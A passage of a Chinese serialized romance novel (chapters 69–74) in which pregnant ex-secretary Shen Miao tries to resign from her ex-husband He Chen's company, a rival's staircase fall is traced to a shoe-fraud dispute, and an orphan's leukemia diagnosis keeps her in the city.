但不管怎么说,沈渺只能摇头,“奶奶,没那么严重,只是希望以后别再有类似的事情发生,只要……” “你放心!”贺老夫人打断她,“今后起,奶奶给你撑腰,再也不会有那种事情发生了!” 贺忱嗓音漠然,“她用得着您来撑腰吗?再者说了,这个腰,您想怎么撑?” 明黎艳摆明跟沈渺过不去,贺老夫人要为了她跟儿媳妇对着干? 那贺家,不乱套了? “奶奶,真的不用。”沈渺刚才未说完的话是,只要她离开百荣,离开京北,就皆大欢喜了! 可贺老夫人根本不给她将话说完的机会。 “从今天起,你喊我一声干妈,以后你就是贺懿跟贺忱的姑姑,跟明黎艳平辈,怎么样?” 起初,贺老夫人想认沈渺当干孙女。 认干亲,既能抬高沈渺的身份,又能让沈渺跟贺忱划清界限,多了一层亲情。 明黎艳跟程家,都不会再介意沈渺曾经跟贺忱结过婚。 自然也就不会再为难沈渺。 可她还是怕明黎艳看沈渺不顺眼,思来想去给沈渺抬了一辈。 “奶奶!”贺懿惊呼道,“您要不要听听自己在说什么?” 这就是她想出来的办法? 贺忱面色蓦地黑了,手里的文件都被他攥得皱巴巴。 “不然呢?”贺老夫人理所当然地反问,“我要是不认她,以后你妈还找她麻烦,你们谁能管?” 贺懿嘴角抽搐,但听了贺老夫人的话,突然觉得这馊到家的馊主意,似乎……也不是那么馊。 毕竟,一定有效啊! “那,我没意见。”贺懿弱弱地说。 贺老夫人扭头看向贺忱,“你有意见也保留,你们两个现在,喊姑姑。” 69.走了……别想再回来! “不行!” 跳脱的话题,让沈渺没能立即反应过来。 听到‘姑姑’两个字,她像有了应激反应似的,‘噌’的站起来。 “我知道您是为我好,可这样就乱套了。” 贺老夫人见她抗拒,便知自己这离谱的想法,实施不了。 “罢了罢了,那就当干孙女吧。” 贺懿扯着笑容,虽然她勉强接受了那馊主意,但明显还是不馊得更好啊! “那我以后就叫你渺渺姐,你就是我哥的妹妹。” 贺老夫人沧浊的眼睛眯起,心底已经开始盘算,下一步去何家,谈沈渺跟何之洲的事情。 做了沈渺的奶奶,她才能光明正大地替沈渺出头。 贺懿想到了她的良苦用心,偷偷给她竖大拇指。 而沈渺跟贺忱,皆是僵着一张脸,下意识地看向对方。 哥哥,妹妹? 曾经法律意义上的夫妻,摇身一变成了兄妹。 她肚子里还揣着贺忱的孩子,关系也乱套了! “也不行!”沈渺拒绝得干脆利落,“奶奶,您不用担心,我已经向公司递交辞呈了,只要我离开百荣,一切问题都解决了。” 只要她离贺忱远远的。 明黎艳和程家人,都不会再把她当成眼中钉。 也不会有人知道,她怀孕的事情。 “认我这个奶奶,不影响你辞职。” 贺老夫人当然不会再让她继续做牛马。 何况,已经不再是秘书,而是后勤。 老太太的满腔热血和热情,让沈渺倍感压力。 “她要不要离职,您说了不算。” 贺忱面色不虞,语气依旧冷然着,“您若没有别的事情,就先回去。” 他闭口不提贺老夫人要认沈渺当孙女。 不是默认,而是坚决反对那离谱的事情。 坚决到,他连提都不想提。 贺老夫人不依,试图说服沈渺,“渺渺,你不听奶奶的,又选择离职,这……以后怎么过啊?” 眼下,沈渺最出彩的身份,就是曾经是贺忱的秘书。 离职以后,连工作都没有,何家更会把她看扁了。 “奶奶,我都计划好了,有后路。” 沈渺揣着对贺老夫人感恩的心,却只能拒绝。 贺老夫人欲言又止。 此时,林昭推开办公室门进来,“贺总,明董和程夫人走了。” 他费了好大的力气,才把明黎艳和孙易琴弄走。 “送奶奶和小懿回家。”贺忱又将送走一老一小的难题,交给林昭。 贺老夫人气得瞪眼,她还有话没跟沈渺说完呢! “老夫人,小姐,我送你们回去。” 林昭走过来,毕恭毕敬地朝着贺老夫人弯腰。 贺忱冷着一张脸,沈渺则不松口认亲的事儿。 留下来也是落个冷场,贺老夫人索性先走,“那改天再谈这事儿,渺渺,你再考虑考虑!” 沈渺送贺老夫人跟贺懿到门口,关上办公室的门,又折回来。 她不确定,贺忱那话什么意思,是不同意她离职吗? 从秘书变成了后勤,她对贺忱来说已经彻底没用了。 “我真的要走。” “有人撑腰了,说话的底气都足了。” 贺忱手里把玩着一支笔,目光一眨不眨地落在她身上,“惹了一堆祸,留下个烂摊子给我,你说走就走?” 沈渺是贺忱从明黎艳跟孙易琴手里‘抢’过来的。 贺忱放她走,明黎艳和孙易琴都会来找他算这笔账。 “这个烂摊子,不是我造成的,但只要我走,这个烂摊子就能解决。” 让沈渺离开,是明黎艳跟孙易琴的最终目的啊。 “强词夺理。”贺忱见她光滑白净的脸上,写满了固执,周身散出一股凛然。 沈渺低着头不说话,等着他决裁。 不知过了多久,贺忱深幽的目光渐渐恢复如常。 “这里有一份离职协议书,只要你签字立刻就能离开,不过碍于你身份特殊,添加了条款。” 他从右手边的抽屉,拿出一份离职协议,推到沈渺面前。 沈渺将离职协议拿过来,粗略地扫了一眼,“谢谢贺总。” 密密麻麻的条款,一时半会儿看不完,她得拿回去。 “签完字交给人事部,考虑清楚,走了……别想再回来。” 贺忱将笔丢在一旁,将桌上的文件拢到一起,装入公文包,起身离开。 沈渺跟着他走出办公室,两人在电梯口分开。 她站在普通员工梯旁,贺忱直接进入了总裁专用梯。 电梯门关上的那一刻,沈渺才抬眼看过去。 贺忱竟然同意她离职了。 虽然她还没有看所谓的离职条约,可是依照她对贺忱的了解,不会很离谱。 看着渐渐下去的电梯,沈渺有一瞬间的晃神。 乍然响起的手机铃声,扯回她思绪,她迅速拿出手机接起。 是贺懿,她压着声音问,“怎么样?我哥怎么解决的这个问题?” “贺总同意我离职了。”沈渺顿了下又说,“让奶奶放心,我没事。” 贺懿松一口气,“我就知道,我哥这人虽然冷血无情,但不是不讲道理,都把你丢后勤部去了,还能赖着不让你走吗?” 那端,贺老夫人冷哼的声音传来,“偶尔干一件人事,不能确定他就是人。” “帮我谢谢奶奶。”沈渺扯了扯嘴角,看着手里的离职同意书,她又说,“以后有机会,再会。” 贺懿没听出她话外音,“行,改天一起出来吃饭,为了我哥订婚我请了好几天的假,这周估计要加班,下周再约吧。” 她甚至在安排下次见面的时间了。 可是下周,沈渺很可能已经到南海了。 “行。”她还是应了贺懿,“到时候再约。” 挂了电话,电梯刚好到了。 她抬脚正欲进去,林昭匆匆过来。 “沈秘书!贺总呢?” 沈渺指了指对面电梯,“下楼了。” 林昭看了看时间,焦灼着将一份文件塞给沈渺,“你帮我把文件交给贺总,我得替他去开国际会议,麻烦了!” 丢下两句话和一份文件,他转身就跑了。 沈渺眼疾手快地接住文件,只能将电梯摁到负一,去给贺忱送文件。 电梯门开了,沈渺从里面走出,空荡荡的停车场落针可闻。 她刚走没两步,冷不丁听见明黎艳愤怒的声音。 “你把沈渺放走,谁来消程家的怒火!?贺忱,你究竟怎么想的?” 70.明天就把离职协议书递上去 沈渺脚步顿住,下意识地往隐蔽处靠了靠。 光线昏暗的停车场,母子两个站在迈巴赫旁边。 车门开了一半,看样子是贺忱准备上车的时候,被明黎艳给拦住了。 他站在车门内侧,手腕搭在门框上,背对着沈渺。 沈渺看不清楚他的表情,只能听到他低沉的声音。 “你们看她碍眼,不弄走等什么?” 明黎艳盯着贺忱看,半晌也没从他矜贵的面容上,看出什么。 但她还是不放心,“唯怡确实被娇惯坏了,算下来也有我的责任,在事业上帮不了你,可她至少比沈渺出身好多了,你……可千万不能负她!” 一阵沉默后,贺忱薄唇里吐出两个字,“不会。” 短短两个字,压在沈渺的心头,夺了沈渺大半的呼吸。 她呼吸一滞,紧紧贴着冰冷的墙壁,拿着文件的手不由得紧紧攥紧。 片刻,汽车引擎的声音传来。 沈渺抬眸望去,便见明黎艳上车离开了。 而贺忱还保持着上车的姿势,一条腿踩在脚踏处。 沈渺迅速调整了下状态,缓缓走出去。 “贺总,这是林助让我交给你的文件。” 贺忱回眸,入目是她伸过来的手。 手指修长干净,在白色纸张的映衬下,更为白皙。 捏着文件的指尖没有血色,而被她捏过的地方,皱巴巴的。 贺忱眉骨拢了拢,接过文件的同时,看了她两眼。 “我以为,沈秘书这么快就考虑好了。” 他语气揶揄。 似乎惊讶,沈渺那么想走,怎么还没走。 沈渺的手落回身体两侧,“贺总放心,我不会再碍你的眼。” 她想,贺忱是最烦她的人。 因为她的存在,让程唯怡吃醋伤心,与他吵架。 程家不满,贺家鸡飞狗跳。 贺忱促狭的眸一眯,看着她说完这话,转身离开。 他将文件丢到副驾,坐下后扯了扯领带,一边看后视镜里她的背影,一边发动引擎,踩下油门。 犹如离弦箭的车,在沈渺旁边呼啸而过。 沈渺淡淡看一眼车尾,转身走到电梯前停下。 汽车嗡鸣声渐渐远去,周围归于平静,沈渺的心却乱得毫无章法。 但她面色看不出,径直进入电梯,摁下三楼。 订婚宴结束,十六组解散,人员被瓜分到各个组。 沈渺则回了八组。 刚进部门,赵珂就给她派发了任务。 她顾不上看离职条款,只能先工作。 直到晚上下班,沈渺带着离职协议书回到家中,才有时间看。 在百荣期间接触的所有客户,离职后她都不允许再私下联系。 在职期间接触到的百荣内部机密,不允许泄露,否则面临天价违约金。 这些,沈渺都能接受。 只是最后一项。 离职后,沈渺不允许入职与百荣有竞争关系的企业。 这意味着,沈渺要跳出舒适圈,从头再来。 那她这几年的工作经验,在另外一个行业中,就是没用的。 “搞笑了,他这根本就是想为难你,不让你离职!” 商音就差不拍着桌子说,这根本就是不平等条约! 沈渺轻咬着下唇,眉头打成死结,逐条看那些条款。 想找出字眼漏洞,看能不能为未来的事业寻找到一线生机。 但贺忱出手,必定是滴水不漏的。 她找不出生路来! “那,你签不签?”商音有些着急,“咱还走不走了?” 沈渺静默数秒,一把将文件合上,她深吸一口气道,“签,走!” 她拿过笔,在文件上签下自己的名字。 商音语气兴奋,“我支持你,以后没工作了我养你……们娘俩!” “明天我就把离职书递上去,等我好消息。” 沈渺签了字,顿时感觉心底轻快不少。 只是,心头还有些酸楚,说不上来的感觉。 商音当天晚上就开始收拾东西,高兴得大半夜没睡。 —— 医院,临近晚上,贺忱离开。 他前脚走,后脚病房门就被推开了。 “妈,你干嘛让贺忱哥回家啊,他晚上照顾我……” 程唯怡抱怨的声音戛然而止。 进来的人不是孙易琴,而是何之洲。 “你来干什么!” 何之洲双手揣兜,在病房里转了一圈,最后停在程唯怡床尾。 “程唯怡,你自己说说,怎么摔下楼梯的?” “我……当然是沈渺推的!” 今天不少人来看望程唯怡,她都这么说的。 不然说自己摔倒的?那岂不是丢死人了! 何之洲从口袋里拿出一个黑色的东西,递到程唯怡面前。 “认识这个吗?” 程唯怡一眼就认出,那是她的鞋跟! 鞋跟上有一颗黑红色的钻,很漂亮,她一眼就相中了。 “什么意思?” “这鞋跟上,被人粘了胶水,是有人故意把你的鞋跟掰断,要害你的!” 何之洲将鞋跟拿回来,“你的心可真够黑的,居然诬陷沈渺。” 程唯怡大脑一片空白。 她哪里想到,真的有人害她?! 再听何之洲末尾那句话,她顿时不满,“什么叫我诬陷沈渺!就算不是她推的我,这鞋子也一定是她弄坏的!” “我呸!”何之洲鄙视地看着她,“你这鞋子自始至终落在过人家手里吗?” 程唯怡一噎。 “如果你再敢为难沈渺,我就公开这件事情,揭发你们私下污蔑冤枉沈渺,让你们程家丢人。” 何之洲难得有脾气,一脸恶狠狠。 程唯怡快将一口牙咬碎,她强忍着,“我没为难沈渺,是她自己要辞职的!” 何之洲顿感不妙,沈渺要是走了,这出戏不就结束了? 他指了指程唯怡,“别的我不管,你记住我的话!” 程唯怡紧紧攥着被子,待何之洲离开后,她将枕头狠狠丢下床。 “连何之洲都替你出头,沈渺,你可真是水性杨花,谁都勾搭!” 可是转而一想,谁会把她的鞋子弄坏,看她出丑?她立马拿过手机,拨出一个电话去…… —— 许是决定了要离开,当晚沈渺睡了个安稳觉。 她梦见她和商音在南海定居,带着两个孩子生活无忧无虑的。 梦被上班的闹铃吵醒,睁开眼睛看到床头的离职协议书,她的唇角轻轻扬了下。 掀开被子下床洗漱,换好衣服鞋子去公司,整个动作一气呵成。 刚走到公交亭,她的手机蓦地响起,头皮莫名一紧。 她掏出手机接起,“什么?在哪家医院,我现在过去!” 71.该早点定下,省得到处祸害人 半小时后,京北第一医院。 沈渺从出租车上下来,她快步朝住院部走去。 三楼住院部,她推门而入,没等看清楚病房内的场景,就被迎面而来的人握住手,推出了病房。 浅姨拉着沈渺走到拐角处的死胡同,不等沈渺反应过来,她先哭出了声。 “卷卷怎么样?”沈渺见她哭,心乱如麻。 “医生怀疑,她是白血病!” 浅姨哭哭啼啼,“我觉得她能成为下一个你,谁知道……” “先别哭,最终的检查结果还没出来,不会有事的!” 沈渺安慰着浅姨,也是在一遍遍的安慰自己。 她能从她身上看到自己的影子,女孩文静又认真努力,学习很好。 不光身世让人心疼,卷卷懂事的也令人心疼。 “我也希望不会有事,卷卷还不知道,你别告诉她!” 浅姨擦了擦眼泪,忍住了情绪,“商音在病房陪她,我们也过去看看吧。” 沈渺舒一口气,缓了缓脸色,跟着浅姨重新来到病房。 病房是双人间,隔壁住的是一个约莫五十来岁的女人,不知患得什么病,气氛很是压抑。 卷卷躺在病床上,小脸看起来有些苍白难看。 “渺渺姐姐。”她看到沈渺来,扬起一抹笑容,伸出枯瘦干白的手。 沈渺坐到她旁边,轻轻握着她的小手。 “卷卷乖,想吃什么,姐姐去给你买。” 卷卷摇头道,“不用了,刚刚浅姨给我买了包子吃。” 小姑娘高高瘦瘦的,头发偏黄,乌黑的眼睛里透着清可见底的纯善。 沈渺看着她,眉头不自觉微拢起来。 “那中午想吃什么?” 卷卷指了指桌子上剩下的两个包子,“热一下包子就可以了。” “这些我们吃。”商音将剩下的包子拿过来,“卷卷想吃什么,我们给你买!” “都可以。”卷卷冲她笑了笑,“卷卷不挑食。” 浅姨坐到卷卷另外一边去,“真是乖孩子,姐姐们要请你吃,你想吃什么就直接说。” “医生建议我饮食清淡,喝点粥之类的就可以了。” 卷卷乌黑的眼睛眨着。 沈渺点了下头,拉着椅子坐下,有一搭没一搭地跟卷卷聊天。 临近中午,沈渺跟商音离开病房,打算就近吃点东西,再给她们带回来一点。 走出医院,空气清新了不少,商音长叹一口气。 “真希望老天有点眼,她吃的苦已经够多了。” 沈渺掏出手机,跟赵珂请了几天假。 “这几天,我在医院照顾她吧,你回家照顾孩子,孩子还小,别总往医院跑,免得带回细菌去,等检查结果出来,我会给你打电话的。” 商音看了看她的肚子,“你这个时候,更不能生病!而且病房里连个陪床都没有,你怎么睡觉?” “凑合一下,放心,我能撑得住。” 收到赵珂的回复,沈渺把手机收起来,挽着商音去了就近的餐厅。 发生这样的事情,她们都没胃口,随便吃了点就回医院了。 吃过午饭后,浅姨回了孤儿院。 在沈渺的坚持下,商音也走了。 —— 百荣,总裁办公室。 赵珂第一次来贺忱的办公室,低着头不敢抬起来。 “沈秘书一开始只请了半天假,刚刚又发消息请了好几天。” 贺忱指尖把玩着一支笔,他面色不辨喜怒,却带着一股预料之中的高深。 “出去吧。” 赵珂迅速转身离开。 开关门声后,办公室里一片死寂。 旁观的林昭眼观鼻鼻观心,喘气都不敢大声。 他是唯一一个知道,贺忱给了沈渺一封离职协议书的人。 协议书里增添的那些条款,都是他按照贺忱的吩咐,加上去的。 “订婚宴上的事情,调查清楚了吗。” 贺忱却不再提沈渺的事儿。 林昭也识趣地不提,“虽然还没有确切的证据,但是一切矛头都指向周芸,她利用程小姐给的权利,中饱私囊,赚了差价。” 程唯怡定礼服与鞋,都是带着周芸去的。 几百万的礼服,周芸不敢碰,便打上了几十万鞋子的主意。 她在网上找了一双同厂出的高仿,对方报价三万。 付了定金,验过货后,她以举报对方卖假货为由,硬生生只给了八千块钱。 对方气不过,就在鞋子上动了手脚。 “周芸的人品有很大的问题,上次被开除后,程小姐就不该再跟她联系。” 林昭从心里添了句,程唯怡就是被周芸那张嘴给哄住了,头脑属实简单。 “周芸?”贺忱对这个名字,略感熟悉。 林昭看他一眼,顿时明白过来,“您不记得她?就是之前帮着程小姐,骗您在沈秘书离职协议书签字的秘书。” 人是贺忱开的,后来也是贺忱松口,招到后勤不得。 但贺忱早已忘了这个人是谁,是程唯怡钻了空子。 “严查。”贺忱眸色淬上冰碴,薄唇轻启,“以后不许程唯怡往公司安排任何人。” 林昭颔首,末了忍不住为沈渺说情,“如果不是程小姐要把订婚的事情,交给后勤部,也不会出这么多乱子,沈秘书……挺无辜的。” 现在公司上下,都觉得沈渺破坏了贺忱的订婚宴。 沈渺就算不走,留下来很难自处。 总从她年前调回来,一波接一波的谣言。 林昭佩服她,那些谣言若是换了自己,都做不到这么淡定。 “去忙你的。”贺忱处理好文件,拿着外套起身,阔步离开公司。 他负责白天照顾程唯怡。 林昭跟出来,“贺总,您增加了那么多条款,沈秘书离开的可能性不大,但她之所以请假迟迟不给答复,一定是因为职位。” 后勤,秘书,天壤之别。 “那些条款,不是决定她去留的关键。” 贺忱整理着袖口,“最近,何之洲什么动向。” 跳脱的话题,林昭差点儿跟不上。 他怔了几秒才反应过来,忙说,“最近何家不知怎么了,一直给何之洲安排相亲!” 贺忱薄唇一掀,“该早点定下,省得到处祸害人。” 话落,他进入电梯,只剩下林昭听不懂,摸不着头脑。 午休时间,病房里格外安静。 卷卷睡着了,沈渺坐在椅子上看着她。 ‘吱呀’一声,病房门被人从外面推开。 沈渺循声望去,看清楚来的人,下意识坐直身体。 72.贺忱身边容不下她 “妈,我来晚了,您饿坏了吧。” 张科研拎着一份盒饭,关上门走到隔壁女人病床旁,小声说。 女人坐起来,挤出一个笑容,“妈还不饿,这两天可把你倒腾坏了。” “没事,您快吃。”张科研将午餐摆开来,催促着张母用餐。 可他摆完了才发现,没有筷子。 “太着急忘了拿筷子,我这就去买。” 张母立马拦住他,“我吃点馒头就行,菜留着晚上再吃,你马上又到上班的时间了,快休息会!” “您现在正是需要补充营养的时候。”张科研推开赵母阻拦的手。 张母却又立刻拉住他。 母子两个一番推让。 沈渺适时宜开了口,“我这儿有筷子,你们先用吧。” 中午带午餐回来时,她多带了两双筷子。 张家母子一愣,女人立马笑着走过来把筷子接过去,“谢谢你。” “沈小姐。” 张科研终于发现她的存在了。 沈渺冲赵母笑了笑,又朝张科研颔首,“赵先生。” 仅仅见过一次,还是以相亲为目的。 再次见面,难免尴尬,何况还是在医院这种地方。 沈渺只打算来个点头之交,便坐下不再说话。 张科研安顿好张母用餐后,却是朝她走过来。 “沈小姐,您这是……” 他看了看病床上熟睡的卷卷,面露不解。 “家里人生病了。”沈渺站起来。 她是孤儿,在孤儿院长大的事情,吴蕾跟张科研说过。 张科研了然,关心了两句,“严重吗?” “目前还不确定,在等检查结果。”沈渺顿了下,也关心了句,“阿姨怎么了?” “身体一直不好,做了很多检查都不能确诊病因,带她来大医院看看。” 张科研面露窘迫与愁容,“听说京北医院的内脏科有个国内顶尖的专家,只是普通人很难挂上号。” 沈渺想了想说,“听说专家的号重金难求,连黄牛那儿都买不到,只能找门路。” “我刚在京北工作没多久,没什么朋友。”张科研沉了沉,硬着头皮说,“若沈小姐有认识的人,能不能帮忙介绍一下。” 他是个体面的人,如果不是实在没有办法,不会对刚见第二次面,还是以相亲为目的的人求助。 话已至此,沈渺说不出拒绝的话,“我试试,但别把希望全寄托在我身上。” “好,谢谢你。”张科研局促着道谢,然后回到赵母身旁。 张母朝沈渺打量了两眼,小声与张科研说着什么。 次日,张科研的父亲过来了,与张科研黑白倒班照顾张母。 接触多了几次,沈渺跟张科研也显得熟络了不少。 又隔一日,卷卷的检查结果出来了。 浅姨在病房里照顾卷卷,沈渺跟商音去找医生拿结果。 “病人确诊急性白血病,把她的家人都叫过来做骨髓配型吧,另外全部费用下来至少需要六十万,提前把钱准备好,具体的治疗方案,等我确定好了再详谈。” 医生的话,令沈渺的脸色一下煞白了。 她不知跟商音怎么走出医生办公室的。 再回过神来时,两个人站在医院大厅的角落,皆是沉默。 “虽然她没有亲人,但是与其他人配型成功的几率也很高,不会有事的。” 沈渺缓缓开口。 商音靠墙蹲着,她抬起头来看沈渺,“问题是钱,保守估计六十万,我们还怎么离开京北?” 她这话一出,沈渺的心脏骤然一缩。 这两日心头隐隐的不好预感,此刻最大化到极致。 没了钱,怎么走,怎么辞职? 沈渺的唇瓣蠕动,低头看着商音,渐渐拧成死结的眉头,令她看起来,有几分破碎感。 两个人相对无言。 时间一分一秒过去,沈渺的心一寸寸沉下去。 良久,商音站起来,她走到沈渺面前,“渺渺,我们不能不管,别……” 那残忍的三个字,她说不出口。 沈渺知道她要说什么,顺着她的话接下去,“不走了。” 轻轻三个字,夹杂着诸多的无奈。 不知名的情绪,在沈渺的胸腔里化开。 酸涩,挣扎,搅得她整个胸口都闷得喘不过气。 她声音轻的,商音觉得自己出现了幻觉,听不清楚她说了什么。 “沈渺,商音!” 浅姨不知何时出来了,她匆匆走过来,盯着两人看,“我都听医生说了,你们这是准备跑路,不管卷卷了吗!?” 商音收敛了下情绪,扭头看向浅姨,“我们在想办法。” “有什么好想的!”浅姨看着两人的目光,带着防备,“把你们的钱都拿出来,给卷卷治病就是了!” 她的理直气壮,换来的是沈渺跟商音的沉默。 当即,浅姨又不高兴地说,“你们两个该不会是不想管吧?卷卷多可怜,小小年纪没了爹妈,现在又生病了,我毕竟照顾了她几年,我这心里不是滋味,你们……年轻人,心狠,要是不管就别管了,让她跟她爹妈团聚去吧!反正咱们孤儿院的孩子,都是没人要的!” “您说这是什么话?”沈渺听不下去,她深吸一口气说,“我们会负责卷卷的医药费。” 闻言,浅姨面色松缓下来,语气也柔了不少,“忠言逆耳,我只是实话实说,咱们有力还是往一起使,没什么难题能打倒我们的,孤儿院那边我找人帮忙盯着,以后我就在医院照顾卷卷,你们都去忙,到时候……负责给钱就行了!” 几人回了病房,待医生过来,确定了治疗方案后,沈渺和商音才离开医院。 分别之前,商音郑重的说,“渺渺,我们只是暂时不走了,等卷卷的病治好,我们就离开,我现在就复工,足够攒钱养你和孩子的!” 卷卷出事,打乱了她们所有的计划。 不光沈渺怀孕想离开。 商音想专心带孩子,等孩子大一些再复工开始赚钱。 现在都变了。 对沈渺来说,这已经不是走不走的问题了。 而是她要怎么留下来。 面对贺忱,贺家,程家—— 贺忱身边容不下她,百荣容不下她,哪里还有她的位置? “沈渺?”何之洲熟悉的声音,在不远处传来。 沈渺扭头,便看到何之洲在保时捷上下来,阔步朝她走来。 73.可她就是你前妻 “何总。”沈渺目光里的茫然收敛,眸色黑白分明。 何之洲却仍旧一眼就看出她有心事,“怎么?还在为了程唯怡的事情苦恼?” 沈渺浅笑了下摇头,“没有。” 她的寒暄客气,何之洲怎能看不出来呢? “事情我已经调查清楚了,是那个叫周芸的干的,她偷工减料得罪了人,最后程唯怡背锅,但她是程唯怡的人,是程唯怡活该。” 程唯怡摔下楼梯,竟然不是意外。 沈渺面露诧异,一想到周芸,她更为震惊。 “程唯怡那边,我已经放过话了,她不会再为难你的。” 何之洲觉得,程唯怡肯定顾虑名声,是受他威胁的。 “你找过程唯怡?” “当然。”何之洲拍了拍胸口,“我一定是你最坚强的后盾。” 几日不见,沈渺对他有几分疏离和礼貌。 此刻,又因他这话,全部殆尽。 “后盾不后盾的不知道,但你一定是想把我往火坑里推的那个。” 沈渺客气的笑容荡然无存。 何之洲笑得心虚,“怎么会?我这是关心你,哦对了,听说你要辞职了?” “不一定。”沈渺眉目染上淡淡的愁意。 也就是说,沈渺想走,但似乎被事情绊住了。 何之洲没深问,“你要有困难,可以找我。” “谢谢,不用了。”沈渺越过他,朝医院外面走去。 何之洲看了眼住院部,后知后觉起了好奇心。 沈渺怎么会来这儿? 他掏出手机,拨出一通电话去。 没几分钟,他出现在院长办公室。 院长背脊冒着冷汗,将林卷卷的病历放在何之洲面前。 “六十万的治疗费用?” 何之洲顿时明白,沈渺为什么想走却又不一定走。 院长一脸心虚,只是点头附和,话都未说一个字。 “关注一下,如果她们凑不齐手术费,剩下的我来出。” 何之洲将病历放下,发号施令,“找最权威的医生来。” “这……”院长支支吾吾,说不出话来。 “这什么这?”何之洲一眼看穿,院长不对劲,“有话直接说。” 近几年,九洲往这家医院捐赠进口仪器,花了不少钱。 何之洲说话很有分量。 院长支支吾吾,盯着压力说,“何总,这事儿……有内幕。” “内幕?”何之洲起身走到院长身边,脚踩在院长坐的椅子上,“说!” “就那个孩子,她……” —— 顶层,VIP病房。 “这个该死的周芸!她竟然背叛我!都怪沈渺,要不是她,我怎么会被周芸钻了空子?” 程唯怡得知周芸干的好事,差点儿没气死。 但她更生气的是,被何之洲给威胁了,“妈,这件事情,难不成就这么算了?” 她会处理周芸,可就这么放过沈渺,不甘心。 孙易琴安慰她,“何之洲也就嘴上说说,他不会为了沈渺,跟我们程家过不去的。” 闻言,程唯怡松一口气,她继而问,“那沈渺,就让她这么走了?” “当然不能。” 那天在百荣,贺忱命人把沈渺带走,孙易琴的计划落空,就像一根刺,扎在孙易琴心头。 “等我找到机会,一定让沈渺当众跟你道歉,这个锅她不背,也得背!” 这件事情,总要有人出来背锅。 周芸的存在,等于告诉众人,程唯怡自己蠢,信错了人。 还是会丢程唯怡的面子。 只有把错全推到沈渺身上,程唯怡才能成为受害者,挽留住颜面。 程唯怡有些担心,“万一贺家那边知道……” “贺家就算知道,你伯母也会向着你的。” 孙易琴握着程唯怡的手,拍了又拍,“你可是她最中意的儿媳妇,她心疼你受伤还来不及呢!” 程唯怡面色浮上一抹喜悦,“只要能除了沈渺,我受再多的苦,也值了。” 母女两个说着体己(见不得人)的话,病房门‘吱呀’一声,被人从外面推开。 孙易琴立马收敛神色,起身看去,“贺忱来了啊。” 贺忱缓步进来,沉冷的目光在她们身上扫过。 他如注的目光,令孙易琴和程唯怡心里皆是一沉。 贺忱该不会听见她们说话了吧? “贺忱,你什么时候来的?”孙易琴试探性地问。 “刚到。”贺忱将公文包放在沙发上,“您先回去吧,这里有我就行。” 孙易琴拿了沙发上的包,给程唯怡使眼色后,她朝门口走去。 “那唯怡就辛苦你照顾了。” 贺忱微颔首,目送孙易琴离开后,他拿了把椅子,坐到程唯怡病床旁边。 “贺忱哥,你今天怎么来得这么早?” 程唯怡往他那边靠了靠,含羞一笑地看着他。 贺忱面色如常,他双腿叠看似有几分懒散地坐在那里,语气却带着不容置疑。 “我已经把周芸处理掉了。” 程唯怡脸上霎时没了笑容,她心底一慌,“什……什么周芸。” “唯怡,我们会不会结婚,从来不取决于沈渺。” 贺忱十指交叉,放在身前,他面色严谨,“你闹闹性子就算了,但不能越来越过分。” 程唯怡咬着嘴唇,眼底突然涌上来泪花,“贺忱哥,你还说你对她没什么?” 看到她哭,贺忱的眉头拧了拧,语气却是松软了不少。 “在我眼里,她只是一个秘书而已。” 程唯怡看着他严肃的样子,眼泪忍不住往下落,“可她就是你前妻,你们曾经……什么都做过。” “我们在一起,不该牵扯到任何人。”贺忱有着绝对的底线,“我答应你的,全部都会做到。” 信誓旦旦的承诺,等于给程唯怡吃了一颗定心丸。 程唯怡犹豫了几秒,问他,“你刚刚……是不是听见我妈的话了?” 贺忱眉梢轻挑了下。 “我妈也是想替我找回颜面,我跟她说,让她不再为难沈渺了,好不好?” 程唯怡拿过手机,当着贺忱的面,给孙易琴发消息,让孙易琴别再为难沈渺。 发完消息,她的眼泪又忍不住落下来。 贺忱这不还是在保护沈渺吗? 她吸吸鼻子,好不可怜,可对面的男人轮廓紧绷,板着一张脸,一副没有回转余地的样子。 74.希望你留在百荣,可以吗 次日,沈渺接到浅姨的电话,要先交二十万的医药费。 她去银行将定期取出来,转到浅姨的账户。 她还有两天假期没用完,没想好怎么回公司,索性再去医院看看卷卷。 一个小时后,沈渺拎着水果,推开病房门。 赵母与赵父坐在床上,见她来了几人相识一笑。 她越过他们的病床,朝前走了没两步,看清楚站在卷卷身边的人时,脚步立马顿住。 “渺渺?”浅姨看到沈渺,面色划过一抹慌乱,从病床上下来,“不是跟你说了,不用过来就行吗!?” 沈渺走过去,将水果放在桌子上,先与浅姨说,“还有两天假期,先过来看看。” 说完,她又扭头看着靠窗站着,笑容灿烂的何之洲。 “你怎么在这儿?” “听说你这儿有点儿困难,我过来看看。” 何之洲见沈渺脸色不好看,忙说,“我刚还跟浅姨说,给卷卷配型的事情,包在我身上呢。” 沈渺看向浅姨。 浅姨忙不迭点头,“是,何先生都已经安排好了。” 何之洲这人,让沈渺喜欢不起来,却也讨厌不起来。 说他不靠谱,他还在关键时刻能帮上忙。 说他靠谱,他却将她藏的那颗‘雷’,当成笑话,就盼着炸开。 “谢谢。” “不用谢,还有其他需要我帮忙的,尽管开口。” 何之洲拍拍胸脯,“我认识这医院的院长。” 闻言,赵家夫妇朝这边看过来。 短短几天,赵母瘦了一圈,脸色也比初见时憔悴了不少。 沈渺照顾卷卷那两个晚上,时常听到赵母浅浅的呻吟声。 “帮我挂个内脏科专家的号吧,越快越好。” 何之洲直接从口袋里掏出名片,交给她,“拿着,想看哪个医生就看哪个医生。” 沈渺接过名片,再次开口,“谢谢。” “都是自己人,别客气。”何之洲面色悻悻。 沈渺每一声‘谢谢’,都让他心虚一分,他沉不住气了,提出告辞。 并且拒绝了沈渺送他,快步走到病房门口,回头朝沈渺招手时,看了浅姨一眼。 浅姨忌惮地看着他。 待他离开,才松一口气,又看向沈渺,“你怎么还没开始上班?” “过两天。” 卷卷正在睡觉,沈渺压低声音,“医生不是说今天要开始治疗,怎么没有输液呢?” 浅姨给卷卷盖了盖被子说,“下午输,你快回去吧,这里有我就行,把假期取消了!” 沈渺打量着卷卷的小脸,见卷卷脸色红润,状态不错,提着的心落下些。 “我会安排好工作的事情,你照顾好卷卷,有事再给我打电话。” 浅姨点着头,挥手催她走,“赶紧回去吧,卷卷这一生病,又得花不少钱,商音那边有孩子,花钱的地方多,我就只能管你要了,那你,这次不走了吧?” 沈渺点头,“嗯,短期内不走了。” “唉,你们两个是真不听话,当初不让商音生孩子,她非要生,不让你走,非要走,现在好了……” 浅姨碎碎念,念得沈渺心里乱糟糟的。 她没等卷卷醒过来,就准备走了。 